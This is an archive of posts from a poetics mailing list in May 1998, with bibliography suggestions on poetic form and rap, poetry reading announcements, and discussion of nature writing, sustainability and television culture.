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497. Taylor Brady
Small Press Collective alias
Wed 20 May 1998

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This is only an alias, so all previous links and bookmarks will still work -- our "real" address is still the same. However, if you're still enetering the whole address by hand, this might save you some typing.

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498. R. Gancie
homeostasis & intolerance
Wed 20 May 1998

"[T]he human body is a machine that winds its own springs. It is the living image of perpetual motion."---from Man a Machine by Julien Offray de La Mettrie --- "In very many cases whether a particular system will achieve a particular goal or adaptation depends only on a few characteristics of the outer environment and not at all on the detail of that environment. Biologists are familiar with this property of adaptive systems under the label of homeostasis."---from The Sciences of the Artificial by Herbert Simon, MIT Press --- "The machine becomes a 'thing' through the definitive establishment of the relation between logic and mechanics. But that relation disappears in individual operations. The work of the constructor is hardened in the machine. The subject, which synchronized causal-mechanical procedure with states-of-affairs, abstracts itself from the machine like the God of the Deists from his creation."---from Against Epistemology by Theodor Adorno --- "...'All experiences are identifiable by reference to bodies', a seemingly articulate locution which has nevertheless extruded a personal pronoun by shifting its referential work to an impersonal term. More particularly, we could get the locution, 'This experience is identifiable with reference to this body' to stand for 'My experience is had by this body.'"... "[T]he problem with 'personal' individuation is that it stops only at solipsism."---from Scepticism & the First Person by S. Coval, Methuen

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499. **Steve Shoemaker**
Re: formalists, oralists
Wed 20 May 1998

If yer looking for a crusty old formalist it's hard to beat Paul (Fussy) Fussell's Poetic Meter & Peter Form. I nearly went nuts one semester as a grad student when i was forced to teach large chunks of this book, coupled also with poems drawn from a really lame poetry "handbook." But if you were able to play it off against other stuff it cld be useful. I don't, offhand, remember him saying that much about the sonnet, but he certainly takes a trad approach to form (the book becomes especially horrific when it gets to the 20thC). s

At 08:37 AM 5/20/98 -0400, you wrote:
>At 10:00 AM 5/19/98 -1000, you wrote:
>>Help me! I'm looking to create a bibliography of secondary material to
>>give my students in my "understanding poetry" course (which has a lot of
>>nonmajors although it is a 300 level course) next semester.
>>
>>I usually do this section on form where we look at the sonnet--a few of
>>Petrarch, all of Shakespeare's, some of Brooks, Thomas, Mayer, McKay,
>>Berrigan, etc. I have them compare the Princeton Encyclopedia definition
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>>form as settled and absolute. I've been sending them to the Annie Finch
>>book. Anything else good out there? Any good articles that defend form
>>as rigorous ways of thinking, etc?
>
>There are some interesting pieces in a collection of essays edited by Harvey
>Gross, The Structure of Verse, that might assist, Juliana: Eliot's
>"Reflections on Vers Libre", Kunitz's "Action and Incantation", and John
>Hollander's "The Metrical Frame". But I've also found useful with beginning
>students a piece by Marilyn Hacker that cropped up in the Academy of
>American Poets' Poetry Pilot in 1995, "A Few Cranky Paragraphs on Form and
>Content" (may be collected somewhere by now?), Countermeasures' reprinting
>of remarks by Annie Finch and Dana Gioia (stuff on rap, too, by Gioia!) at a
>1996 conference on "Poetry and Form"; Molly Peacock's more personal "What

>the Mockingbird Said" in the essay collection Conversant Essays. I haven't
>looked at the introduction to Rober Richman's anthology The Direction of
>Poetry (new formalism, natch) for awhile, but my memory is that it is pretty
>hortatory. Also check out Peter Viereck's "Strict Wildness: The Biology of
>Poetry" which Poets & Writers printed in their magazine in 1988, but which
>is probably collected somewhere by now.
>>
>>Would also like to collect citations on the opposite if any come to
>>mind.
>>
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>>(interestingly here in Hawai'i, they tend to get chants in h.s. but they
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>>about King Kamehameha III and etc. etc. but can't see it as something
>>that is poetry).
>>
>>Also, any good articles on rap? Anyone taught rap in their poetry
>>courses? Any ideas on how to get students to write critically about rap?
>>
>Tricia Rose's book (Black Noise? - I think that's the title) is terrific.
>Thinking about your question (not having tried this systematically myself),
>I'd go from Louise Bennett to Linton Kwesi Johnson for context, and then
>encourage their writing on only one aspect of it that tends toward the
>mechanical: scansion/prosody; modulating tone; how the rhymes work and
what
>kinds of rhymes, etc. -- giving them just enough tools to do it. This
>usually works for me when a poetry is so loaded content and context wise
>that students have a hard time seeing it as a construction. And I'd add
>Spearhead to the playlist.
>
>
>
>Susan Wheeler
>[redacted]
>voice/fax [redacted]
>
>
Steve Shoemaker
Assistant Professor

English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

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500. **dbkk**
Anne Carson at SPT
Wed 20 May 1998

Small Press Traffic presents

Anne Carson

Friday, May 22, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Michael Ondaatje calls her "the most exciting poet writing in English today." Born in 1950, Anne Carson teaches classics at McGill University in Montreal, and her ambitious, gestural poetry punctures the rigors of classicism with the derangements of the post-modern as has none since Charles Olson's. Her books of poetry include Plainwater (Knopf, 1995) and Glass, Irony and God (New Directions, 1995). She is also the author of Eros the Bittersweet (Princeton University Press, 1986), Short Talks (Brick Books, 1992), and Sophokles Elektra: Translation With Commentary and Notes (Knopf, 1997). Her new "novel in verse," Autobiography of Red (Knopf), recasts the story of Herakles and Geryon in contemporary terms. Man and monster mingle and part, mingle and part. Join us in this special event with the writer everybody¹s talking about. When she wins the Nobel Prize you can say, "Oh I met her at Small Press Traffic."

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501. **morpheal**
Re: sustainability...and techne
Wed 20 May 1998

> *re sustainability: this is somewhat off the track of the discussion here... but there's an excellent piece by bill mckibben in this month's _atlantic monthly_, "a special moment in history," that details how the nature of, well, nature itself is rapidly being transformed by homo sapiens... which requires a somewhat more bracing grasp of what we mean by sustainability... it's not simply how many people the earth can sustain, which itself appears now to be a transition issue, given the expected*

> *doubling of human population in the next half-century (this doubling representing, for mckibben, a limit point, regardless how you factor energy conservation per individual)... it's a question of our creating, even now, what amounts to a new earth, what mckibbens calls "earth2"---an earth with "new storms and new oceans and new glaciers and new springtimes"... a new habitat, and one that's not user-friendly...*

The ultimate 'equation' as to sustainability is never mentionned by those who are discussing the subject.

That is: The level of sustainability depends on the raw material resources plus the level of technology available to utilize those resources.

The level of sustainability declines if the technology fails to keep pace with the need for more progressive technologies. Humanity is essentially at that bifurcation point in its history _now_ where only a massive acceleration in technological mastery of the environment as resource and raw materials as resources can save humanity from a spiral of decline as to the level of sustainability as such. A god cannot save them, unless that god brings blueprints for new machines.

There is essentially nothing poetic about that.

Also, note that it is radical in being totally contrary to some persistent strands of thought that see techne, and technology, science and invention, as the archetypal manifestations of a devil. Contrary to any consideration of descent to "low level sustainable technologies". It is not "low level" at all. Instead it is technological ascent to mastery of the environment, materials, and eventually the universe, ultimately for the purposes of increasing human enjoyment, thus maximizing happiness for the greatest numbers. Perhaps for all, somewhere in the more idealistic future of a high level sustainable world.

That there is nothing poetic about what I have said, is another kind of tragedy.

There are the pressures that come to be exerted as to what use the raw material resources we term "human" are to be used for. The danger then becomes the dehumanization (and more manifest as dehumanitization) happening due to a striving for the next technological wave. Art and the artist, poetry and the poet, become in danger of being swept away in the most urgent induction of engineers, scientists, technicians, inventors.....

We need the poets and artists too, but it is harder to rationally justify.

regards,
from Bob Ezergailis
aka Morpheal

↑ Index

502. **acgold01**
Juliana's query
Wed 20 May 1998

Hi, Juliana--A few things occur to me, not sure if they're quite what you're looking for but:

for defenses of "traditional" forms (which sounds like the particular notion of form you're engaged with in the class right now), there's always that strange and controversial Frederick Turner essay, "The Neural Lyre: Poetic Meter, The Brain and Time," which argues for a biological basis for meter. It's reprinted in his *Natural Classicism* essay collection, and in Frederick Feirstein's collection *Expansive Poetry*. There's also Timothy Steele's *Missing Measures*, a book-length argument about how misguided the modernist free verse revolution was. You might find other things that suit your pedagogical purposes (as distinct from things you agree with) in the Feirstein collection, or in Robert McDowell's *Poetry After Modernism*, another New Formalist collection. For a defence of traditional forms that's short and accessible, why not Frost's "The Figure a Poem Makes" (esp. if you've been reading a ton of sonnets).

For a variant on your question, Pound's "A Retrospect" ("if you're gonna write good free verse you've got to follow these rules"), packed with rules.

On chants and poetry studies: my first thought there is that Bob Holman's USOP sampler CD juxtaposes chants with a whole range of other poetries, which might at least give your students an interesting listening experience.

Can't do much re "good articles on rap": Houston Baker did *Rap, Black Music, and the Academy* or something like that a while ago, but it's probably already dated.

My colleague Tom Byers wrote a v. good article a few years ago historicizing some of the ideas about form you mention with particular reference to the New Formalists: Thomas B. Byers, "The Closing of the American Line: Expansive Poetry and Ideology," *Contemporary Literature* 33 (1992): 396-415. He must have touched a nerve because a number of Newfie poets wrote irate letters to the journal.

Alan

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503. **michael corbin**
Re: Anne Carson at SPT
Wed 20 May 1998

[redacted] wrote:

> *She is also the author of*
> *Eros the Bittersweet (Princeton University Press, 1986),*

This beautiful, moving book is newly available this spring from Dalkey Archive.

> *and Sophokles Elektra: Translation With Commentary and Notes*
> *(Knopf, 1997).*

I've had trouble finding this. I think I prefer David Greene's translation in the U of chicago series but Pound's Elektra (which I think is in a fairly recent New Directions edition) is always fun to read. And then Euripides aside Sophocles is necessary. necessary for nothing really.

> *Her new "novel in verse," Autobiography of Red (Knopf),*
> *recasts the story of Herakles and Geryon in contemporary terms. Man and*
> *monster mingle and part, mingle and part.*

Something about 'writing through' here: an interview with Stesichoros. talk about your muse possessions. or maybe that is 'repossessions'. failure to pay and all that.

Speaking of this hellenic business, both in the thread of 'meter' and 'nature', Hesiod's _works and days_ of course is all about that 'homo sapiens sapiens' tilling the earth, the reconfiguration, transliteration of nature. Into civilization. And poets. Natures.

nature poetry: I get a little depressed about Bill Mckibben's, well, lets call it, his latent Malthusianism. (I expect a national politician in the near future to, without irony, offer a Swiftian 'modest proposal' as legislation) And, probably not a mistake that Bill comes on the heels of E.O. wilson's serialized _Consilence_ in the "atlantic monthly". A socio-biology desire that would be well put to read hesiod and carson. love and fucking and all that. In nature reading I recommend Sandra Steingraber's _Living Downstream_. I guess this is poetry. Kind of a Jabesian open wound of memory, bodies and books, for me: "silence", "trace elements" . but maybe not.

harry partch: mikal and? was that, i think, liz was playing those homemade dreamtime village instruments at the emma-center (mpls) a bunch a years ago trying to get the punk-rockers to hear something outside of the re-verb-er-ating threee cords on the electric guitar?

on the little boom-box: CD: Eugene Chadbourne. in the tape player of the little boom-box: daughters of daCipher.

what does it mean that one can have the technology to 'multi-disk' and 'random' play?

mc

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504. **BETSY ANDREWS**

Re: formalists, oralists

Wed 20 May 1998

Juliana,

For insistence upon the sonnet, you can always try that old goat, Paul Fussel: "Structural Principles: The Example of the Sonnet" in his book Poetic Meter & Poetric Form.

> From: Juliana Spahr <[redacted]>
> To: [redacted]
> Subject: formalists, oralists
> Date: Tuesday, May 19, 1998 4:00 PM
>
> Help me! I'm looking to create a bibliography of secondary material to
> give my students in my "understanding poetry" course (which has a lot of
> nonmajors although it is a 300 level course) next semester.
>
> I usually do this section on form where we look at the sonnet--a few of
> Petrarch, all of Shakespeare's, some of Brooks, Thomas, Mayer, McKay,
> Berrigan, etc. I have them compare the Princeton Encyclopedia definition
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> Also, any good articles on rap? Anyone taught rap in their poetry
> courses? Any ideas on how to get students to write critically about rap?

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505. Steven Marks
Re: Anne Carson at SPT
Wed 20 May 1998

For anybody interested in my review of Carson's _Plainwater_, go to:

http://members.aol.com/swmarks/carson.html

She's been a favorite of mine since I first read that book in 1996. It led me to _Eros the Bittersweet_ and then to _Glass, Irony and God_. She's not a half-bad artist as well!!

Steven

p.s. also may want to look at the entry I did on her for Dict. of Lit. Bio when that comes out.

On Wed, 20 May 1998 [redacted] wrote:

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>
> *Anne Carson*
>
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Steven Marks

http://members.aol.com/swmarks/welcome.html

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506. **charles alexander**

Re: nature/poetry...

Wed 20 May 1998

---

thanks, joe

come down and hike with us. right now you can still climb some rocks early in the day, then go up to the summit and have a snowball fight in the afternoon.

charles

At 08:42 AM 5/20/98 -0500, you wrote:
>charles a., late in responding here... but been reading over (and over) the
>latest of mary hilton's 'primitive publications,' _saunter_, by joshua
>mckinney...
>
>certainly in the domain of poetry that takes on the natural... i've enjoyed
>it, am still not through puzzling over it... highly recommended...
>
>what i wouldn't give for a hike around the top of mount lemmon, you lucky
>dog you...
>
>best,
>
>joe
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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507. **Steve Shoemaker**

Re: formalists, oralists

Wed 20 May 1998

Right, I'm remembering now that the Fussell book does have a chapter on the sonnet, but I see (having plucked the book from the shelf, where it has

somehow managed to keep its place) that it's Chapter 7. I think I jumped ship after the abominable treatment of "free verse" in Ch. 5. If one wants to explore form from the "free" side of things it's hard to beat the rich gathering of statements from the potes themselves to be found throughout Poems for the Millennium (Vo. 1 is what I know best, but 2 seems a likely candidate as well).

While we're at it, I've always been interested in the ways that some strict forms (indeed the stricter the better) have been put to pomo uses, as in sestinas by Zukofsky and Ashbery, just to pick a couple of quick examples. In a comparison I like, Ashbery sez writing (riding?) the sestina is like riding a bicycle downhill--i.e. the old kind of bike where the pedals keep turning as you coast and your feet have to try to keep up.

s

At 10:26 PM 5/20/98 -0400, you wrote:
>Juliana,
>
>For insistence upon the sonnet, you can always try that old goat, Paul
>Fussel: "Structural Principles: The Example of the Sonnet" in his book
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>
>
Steve Shoemaker
Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

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508. Eurydice
Not-to-miss NYC Reading
Wed 20 May 1998

List,

I realize I posted the basic info about this several weeks back, but I figured it might be good to offer a nudge of a reminder closer to the actual event. Which is to say, to those of you that can, please come on down or out or up or over to the last reading of the season at Here (145 Sixth Avenue, New York City, one block South of Spring Street):

Jean Day & Andy Levy
3:00 pm

Saturday May 23
$5 contribution

It's a rare East Coast foray by the stunning Jean Day (all the way from California - perhaps with copies of her grand new book in tow), and I'm hoping that poeple will take advantage of this special opportunity to hear her read out this hail-battered way, despite the holiday weekend and attendant festivity (or because of it). So, if you aren't unavoidably absolutely elsewhere, please be Here. And if you must be elsewhere (obligatory picnic, holiday in the Yukon, et cetera), you may appoint two emisaries to come in your stead.

Thanks,
Deirdre

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509. Bradford J Senning
Ashbery
Wed 20 May 1998

Does anybody know where I can find a good discussion of Ashbery and music?

Appreciate any help I can find,
Bradford Senning

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510. Franklin Bruno
scenery port
Thu 21 May 1998

Or--port scenery:

Tic-Tac-Toe playing chicken and carousel (cf. Strangers on a Train and that crazy Dennis Hopper flick with the mermaid) in Monterey.

car stereo:

mostly Louis Jordan ("If you want a leader who'll move ya, who'll groove ya, and keep you sent...vote for Jordan for President") and Family Fodder (late 70's UK d.i.y. band w/ dub touches, sorta like The Homosexuals).

live:

Since someone asked: Clusone 3, Kuumbwa Jazz Center, Santa Cruz. More exciting than the last 45 rock shows I've seen put together. 2 long, continuous sets, ranging from free-improv to jazz heads I recognize but can't name to "Tico Tico" (turn of the century South American tune with silly English lyrics added in the 40's), "Skylark" about 5 seconds of "Bye Bye Blackbird," Hoagy's "Baltimore

Oriole," and a couple from their Irving Berlin record. Unparalleled combination of sweetness (Michael Moore's clarinet), extended technique (just about everything Ernst Reisjiger (sp?) does with his cello), and agression (Han Bennink all over the kit when he's not swinging like mad w/ just brushes and snare).

at home: New Slapp Happy (reunion of Krause/Moore/Blegvad after 20-odd yrs); Mekons -Me-; John Latouche's cult musical -The Golden Apple- (trivia--a young Kenward Elmslie was his lover at the time of writing); lots of Jimmy Guiffre, esp. recentish live issues of the Swallow/Bley/Guiffre trio (HatArt); Mary Lou Williams' Folkways LP from 1964; Rock-A-Teens (Orbison via Nick Cave, from Atlanta, GA); Simon Joyner (Omaha, NE singer-songwriter). Haven't slipped the new Sonic Youth on the turntable yet.

nightstand:

Ted Greenwald -Common Sense-; Martha Ronk -Eyetrouble-; Carl Van Vechten -Parties-, -Fireworks-, and an anthology called -Keep On Inchin' Along-; -Faucheuse 2- (esp. Johnathan Williams on Clarence John Laughlin); Emmett Williams -My Life In Fluxus-; Kevin Whithead -New Dutch Swing- (exhaustive history of Dutch free jazz w/useful discography), recommended to whoever asked about the Clusones); Andrew Levy -Curve-.

Barely cracked but excited about: Jean Day -The Literal World-; Heather Ramsdell -Lost Wax-.

And another yes for -The Little Door Slides Back-. I have to review this, which means figuring out exactly which words are neologisms.

fjb

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511. George Bowering

Re: John Hawkes

Thu 21 May 1998

> *George, If you'd be willing, I'd love to hear more details about this course. Which H.D. texts did you read, which Dorn, which Hawkes? What worked in the combination?*

Sure. We started with _Helen in Egypt_, then did _Gunslinger_, and then _The Beetle Leg_. The course was somewhat grandiosely called something like the re-inscription of myth. You can see how we might have gone at it. One thing I was surprised by: though various people liked various texts, they seemed to be turned around most by the Dorn. Used audiotapes of H.D. and Dorn reading their texts, of course. Although I have been teaching H.D. since about 1967, it was the first time I had taught _Helen_. It was a little eerie for me, because

about a month before the course started I went to Kussnacht to see the place where she wrote the book.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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512. **JDEBROT**
Re: Ashbery
Thu 21 May 1998

This is probably not exactly what you're looking for, but there is John Shoptaw's "The Music of Construction: Measure and Polyphony in Ashbery and Bernstein" in Susan Schultz's The Tribe of John_, which discusses the sonic aspects of A's & B's poetry. I can't remember whether or not there is an extended discussion of music per se in Shoptaw's _On the Outside Looking Out_. In a recent interview with Peter Gizzi in _Lingo_ I remember being struck by the extent of Ashbery's musical knowledge (for what that's worth). . ---Jacques

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513. **JDEBROT**
Re: Ashbery
Thu 21 May 1998

Chris Stroffolino just backchanneled to let me know that the _Lingo_ interview is with Michael, not Peter, Gizzi; should have checked. Thanks Chris.

--Jacques

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514. **Miekal And**
Re: nature/poetry...
Thu 21 May 1998

---

charles: these are some quotes from our installation of a symbolic village at the Katherine Nash gallery in University of Minnesota last fall. Ive included the longer ones as well because they work well as a set....miekal

"People are by nature phototropic—they move toward light, and, when stationary, they orient themselves toward the light. As a result the much loved

and much used places in buildings, where the most things happen, are places like window seats, verandas, fireside corners, trellised arbors; all of them defined by non-uniformities in light, and all of them allowing the people who are in them to orient themselves toward the light." -A Pattern Language, Christopher Alexander

"Rooms without a view are prisons for the people who have to stay in them"

-A Pattern Language

"Make sure that you treat the edge of the building as a "thing," a "place," a zone with volume to it, not a line or interface which has no thickness. Crenelate the edge of buildings with places that invite people to stop. Make places that have depth and a covering, places to sit, lean, and walk, especially at those points along the perimeter which look onto interesting outdoor life."

-A Pattern Language

"People cannot maintain their spiritual roots and their connections to the past if the physical world they live in does not also sustain these roots....

Traditional societies have always recognized the importance of these sites. Mountains are marked as places of special pilgrimage; rivers and bridges become holy; a building or a tree, or rock or stone, takes on the power through which people can connect themselves to their own past....But modern society often ignores the psychological importance of these sites. They are bulldozed, developed, changed, for political and economic reasons, without regard for these simple but fundamental emotional matters; or they are simply ignored." -A Pattern Language

"If one feels protective about the word "music," protect it and find another word for all the rest that enters through the ears. It's a waster of time to trouble oneself with words, noises. What it is is theatre and we are in it and like it, making it." -Silence, John Cage

"What is interesting is that the word sound refers not only to audible things but also to everyting that is whole, unimpaired, firm, and healthy. Your health is sound . Is it sound because you are "within the sound "? Because you sound ? To sing is a sound thing to do, not only in the superficial sense that a singing person most likely is a healthy person, but rather in the most basic, original sense our language can have, in the sharing of primal roots of words."

-Nada Brahma; The World is Sound

"Ever since we left the treetops, since our ancestors climbed down to the ground to sleep in gullies and caves, our ears have been the primary sense organ of survival, more than any other organ. That is the way it is programmed by evolution. When we are asleep we close our eyes and mouth, our tactile

sense are (almost) totally shut down, but our ears remain open.....As a matter of fact, our ears are open before we are born. Even in the womb our ears are more important than our other senses. Our consciousness begins with them. The child in the womb hears its mother's heartbeat - and, later, sounds from the outside world- which means that before we perceive the world with any other sense, we hear it."

-Nada Brahma; The World is Sound

In addition to worshipping real trees, the ancients sometimes envisioned the entire cosmos in the form of a tree, believing that earth's trees were tantalizing keys to the greatest of mysteries--whch made their infinite variety all the more wonderful.

-The Woman's Dictionary of Symbols & Sacred Objects

"I maintain the garden on the principles of energy...This gardening, this co-creative energy gardening, is a metaphor for life. As you change your approach to the garden, you will, in turn, change the very fabric of how you approach your life."

-Machaelle Small Wright
[from Secrets of the Soil]

"They're real, the nature spirits. And they may take many forms; but one thing they never are. They're never cute. They seek a co-creative partnership with humans, and they are in the position to accept no less."

-Machaelle Small Wright
[from Secrets of the Soil]

"Just what the heck is a grotto anyway? Dreamtime Village stands at the epicenter of a midwestern school of eccentric landscape art, much of it centered around the concept of the grotto. Something about the upper midwest seems to compel normally conservative farm folk to create fantastic megalomaniac landscapes. This impulse seems to be universal among humans in this region--before the Euro-invasion the local population created numerous effigy mounds and cave carvings of a playful and artistic nature.

Grotto--a cave, from Italian grotta, similar roots for grotesque and grotty...something underground, subconcious, not of this world....people in Europe used caves as sacred spaces since the Paleolithic. In the Christian era, these sites were appropriated and decorated with statues and other holy objects. At some point in the middle ages, people began to construct artificial cavelike structures as religious shrines, and in the 19th century, European settlers brought this tradition with them to the midwest. Lost in what they perceived as an empty space, not knowing the sacred places of the land, they

created grottos to ground their communities. In addition to the cavelike grotto shrines, the grotto environments are landscaped with plants and gardens, continuing the artificial paradise tradition of European landscape gardening. The grottos are weird magical spaces of powerful contradiction and paradox--fantastic artificial "nature" imposed on the land, pagan goddess shrines built by rigid patriarchal Catholic priests, celebrations of Religion and Patriotism that appeal to countercultural unbelievers, the singular vision of megalomanics made possible only as vast community undertakings. "

-John Wright, Dreamtime Village friend

"Like the runic alphabet, the alphabet of the trees was used by European pagans for divination and for transmitting secret messages that would have been incomprehensible to anyone who did not know the system. Each letter was named for a tree or shrub, so messages could be spelled out by stringing the right sorts of leaves in the right order on a cord or a wand, with "blank" leaves not included in the alphabet to divide one word from the next. It has been suggested that nonletter leaves were sometimes inserted at random just to render the message more cryptic."

-The Woman's Dictionary
of Symbols & Sacred Objects

"There are many dimensions in alliance space, and the pharmacological axis is only one of many. The old doctors had helpers like mountain lion, owl. Maybe the power plant was a conduit, or a call, a sort of whistle. Or the plant was like a delivery service. Not like the plant itself was the ally.....maybe the ally lived in the plant, or maybe the ally lived in the next world, and the plant was like a bridge...That plants have virtues...was known by the ancient herbalists. The virtue of a plant was its truth, its strength. Maybe the best synonym is integrity. Or power. Or poison."

-Pharmako/Poeia:
Plant Powers, Poisons, and Herbcraft

"Humus is a Latin word, dirt; if you want to make somebody low you force him to the ground, you humble him, you humiliate him. To be humble is to sit upon the ground, not a throne, etc."

-Hundertwasser

"I've worked a great deal with grass roofs, putting soil on top and having things grow, but there is something strange in this, more than ecological. It is a religious act to have soil on your roof and trees growing on top of you; the act reconciles you with God, with nature, maybe not Christian or Jewish monotheism, but something wider, older - a very ancient wisdom."

-Hundertwasser

"If a lion is stalking you, or a shark is out to kill you, you are of course in mortal danger. We have lived with these dangers for millions of years. The straight line is a man-made danger. There are so many lines, millions of lines, but only one of them is deadly and that is the straight line drawn with a ruler. Ther danger of the straight line cannot be compared with the danger of organic lines described by snakes, for instance. The straight line is completely alien to mankind, to life, to all creation." -Hundertwasser

"We are living in an age where common sense often appears radical"

-Eat Your House

"You buy garden dwarfs in a nursery. That is amazing. Where you buy plants and seeds, potted plants, books about plants, they have a department where they have garden dwarfs. There is something mysterious about that. Why do they sell garden dwarfs together with plants? It must have something to do with ecology, or it is the God of Ecology....People like to put garden dwarfs inside their gardens under plants and small trees...and they put something else next to them...a rabbit or other statues...It looks like an altar. It is very similar to the corner where they have the crucifix...or Buddha...The only thing is, it is in the garden... "

-Hundertwasser

"We must begin our story of the bo tree with an account of the pineal gland. The pineal is a small body located in humans, where the spinal column meets the brain. The ancient Hindus recognized the pineal as the third eye of enlightenment. Only recently has modern science identified it as an endocrine gland which secretes two known hormones, the most important of which is serotonin. Serotonin promotes blood clotting and muscle constriction in the body, but in the brain, according to J. Bleibtreu, " it appears crucial to what is conventiionally considered 'rational' thought. If brain cells are deprive of serotonin, there results a disruption of rational thought...minute quantities of serotonin affect mental states and alter perception. New dimensions of conventional reality accompany changes in the level of serotonin in the brain." The discovery, some years back, that LSD acts by inhibiting the distribution of serotonin to certain receptor cells in the brain, brought with it a greater respect for the staggering range of consciousness controlled by this hormone. We know that many hormones found in animals are also present in plants; we spoke earlier of auxins in human urine. Likewise serotonin appears in many plants, and "abounds" in figs; and in no fig more than Ficus religiosus, the bo tree, beneath whose limbs the Buddha sat for seven years; beneath whose foliage the Buddha gained enlighenment. Of course, to many, a revelation beneath a fig tree in the East is as believable as modesty beneath a fig leaf in

the West. But, at a time when we are being forced to admit that so much of our mental and physical composure is influenced, perhaps governed, by our biological bond with the natural world, it might be wise to begin thinking of shelter as something more than contained, airconditioned, space."

-Mark Primack, [from Eat Your House]

"...each particle of creation is alive and filled with life force energy, filled with spirit and intelligence.....This beautiful planet on which we live is not a dead lump of rock hurtling through space, destination unknown. It and everything on it is pulsating with energies. The Chinese call it chi, the Japanese call it ki, to the Hindus of India it is prana, to the Polynesians it is mana, and every other spiritual culture has its own name for it. We call it "spirit," "life force," or simply "energy"..... One way that this can be seen is in the many different languages and cultural customs in the world, which arise in response to the different languages and cultural customs in the world, which arise in response to the different energies emanating from the earth. In some places you can journey just a few miles down the road and the local dialect changes completely, because the energy of the land is completely different."

-Creating Sacred Space with Feng Shui

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515. **Miekal And**
Re: nature/poetry...
Thu 21 May 1998

---

charles alexander wrote:

-- the obvious thing to do is
> to take things from southwestern/Sonora desert indigenous peoples, relating
> to living well with the earth here.

not to mention Gary Nabham's books on desert ecologies & the crises of sustainability.

↑ Index

516. **Joe Amato/Kass Fleisher**
nature/poetry...
Thu 21 May 1998

---

mc, interesting you should bring that up, about mckibben's malthusian orientation... i get a little tired of it too... in this article, though, he deals with malthus directly, perhaps self-consciously... again, what i find most interesting about what he's saying is that, not only are we burdening the planet as well as

ourselves in struggling toward sustainability (at such & such a level for some, and a lower level for most others), but we're creating a different earth in the process... in the process, as he puts it, of living "normally"...

well hey, someplace along the line we as a species may very well have to cope with an ecological turning point in human terms... his argument is that this time is now... certainly there's a tendency for most folks to slip & slide on the global warming issue, e.g., even when (as mckibben and others have pointed out) the insurance companies are gambling that it's a fact... i like it that mckibben is trying to call a horse a horse, anyway, though doing so is an act of (unnatural) selection and interpretation... and ultimately, i suppose i tend to listen carefully to folks like mckibben and, e.g., jeremy rifkin... comes in part from having grown up in a town where you learn early on that the water is dangerous, and not just b/c you can drown in it...

i have less use for wilson's argument, but that's a whole nother story... it's interesting as you note that wilson's and mckibben's were run so close...

have yet to check out _living downstream_, but looking forward to it!...

best,

joe

↑ Index

517. daniel bouchard
(no subject)
Thu 21 May 1998

SOME GENERALS IN JAKARTA DON'T FEAR "A" TIANANMEN SQUARE

The last comment an audience member
made to comic Jerry Seinfeld
was from a prisoner.
He said: "You suck!"
And: "I'm going to cut you."
It was a riot.

-- daniel bouchard

<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]

fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<

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518. Charles Bernstein
Black Lightning (forwarded announcement)
Thu 21 May 1998

From: ERTABIOS <[redacted]>
Date: Thu, 21 May 1998 02:08:26 EDT
YOU ARE INVITED
TO THE BOOK LAUNCHING FOR

BLACK LIGHTNING:
POETRY-IN-PROGRESS

By EILEEN TABIOS

When: 6 p.m., Saturday, May 23, 1998

Where: Gallery at 678, 678 Broadway (2nd floor)

($5 Suggested Admissions Donation)

Featured Readers: Meena Alexander, Mei-mei
Berssenbrugge, Kimiko Hahn, Jessica
Hagedorn, Arthur Sze, John Yau

ADVANCE WORDS:
"In BLACK LIGHTNING, Eileen Tabios performs the much-needed task of penetrating and sinking the notion that there is any one kind of Asian American writing. An extremely valuable collection and a mediation on Otherness, written way out on a fringe that is increasingly becoming part of the landscape of how we write today."
-- Tan Lin, LOTION BULLWHIP GIRAFFE (Sun & Moon)

"What the distinguished Poets on Poetry Series from the University of Michigan Press has done in many volumes to elucidate the form, function and process of American poets and American poetry, Eileen Tabios has accomplished much the same in one superbly written and edited volume for Asian American poets and its AMERICAN poetry.
-- Nick Carbo, EL GRUPO MCDONALDS (Coffeehouse)

*****

BLACK LIGHTNING, a recipient of a 1997 Poetry Grant from the Witter Bynner Foundation, features Eileen Tabios, editor of The Asian Pacific American Journal, in conversation with some of the country's most accomplished poets: Meena Alexander, Indran Amirthanayagam, Mei-mei Berssenbrugge, Luis Cabalquinto, Marilyn Chin, Sesshu Foster, Jessica Hagedorn, Kimiko Hahn, Garrett Hongo, Li Young Lee, Timothy Liu, David Mura, Arthur Sze and John Yau. BLACK LIGHTNING is the first ever publication of poetry-in-progress articles showcasing Asian American poets, as well as the first publication of its type in poetry literature.

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519. **morpheal**

Re: Seinfeld as Culture Hero

Thu 21 May 1998

> *SOME GENERALS IN JAKARTA DON'T FEAR "A" TIANANMEN SQUARE*
>
> *The last comment an audience member*
> *made to comic Jerry Seinfeld*
> *was from a prisoner.*
> *He said: "You suck!"*
> *And: "I'm going to cut you."*
> *It was a riot.*
> *-- daniel bouchard*

We might think of Seinfeld as being a chosen Culture Hero.

We must realize that Mr. Seinfeld was chosen as the best choice for teaching other people how to behave amongst others and how to be funny.People, it is said, learn from television programs. They particularly learn from prime time television programming. At least those who watch television learn, and all the others who do not remain socially ignorant.

Presumably the latter category learn more from poets than from prime time television.

Horror of horrors !

Corollary to that, I once had the privilege of spending more than a year amongst a group of people, and observing them in what amounts to participant-observer mode. They were a typical mixed gender, mixed age, average (mostly lower middle class) income, white collar group, with most having a university education to the undergraduate level as well as many having some college level courses or professional affiliation. A very large part of their conversations with one another were largely build from out of context references drawn from a long history of prime time television programming. It seems their psyches were

absolutely full of it and they quoted it in a similar manner that some academics quote the sources they study. It amounted to more than kind of trivial pursuit, due to the use of such out of context materials in a new contextual situatedness, giving them new meanings as a kind of language that evolved and was partially unique to that micro-environment. Even more fascinating were the emotional connotations attached to various fragments of prime time programming. They actually not only built a large part of their cultural framework, or worldview, from those fragmented referentials to television programs spanning many years of situation commedies, dramas, soap operas, sports events, and cartoons, but it was imbued with strong beliefs, and with many value judgements and prejudices attributable to the same sources.

Complicated subject, but they hated poetry, and loved prime time television.

Very strange.

M.

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520. Karen and Trevor
signing on
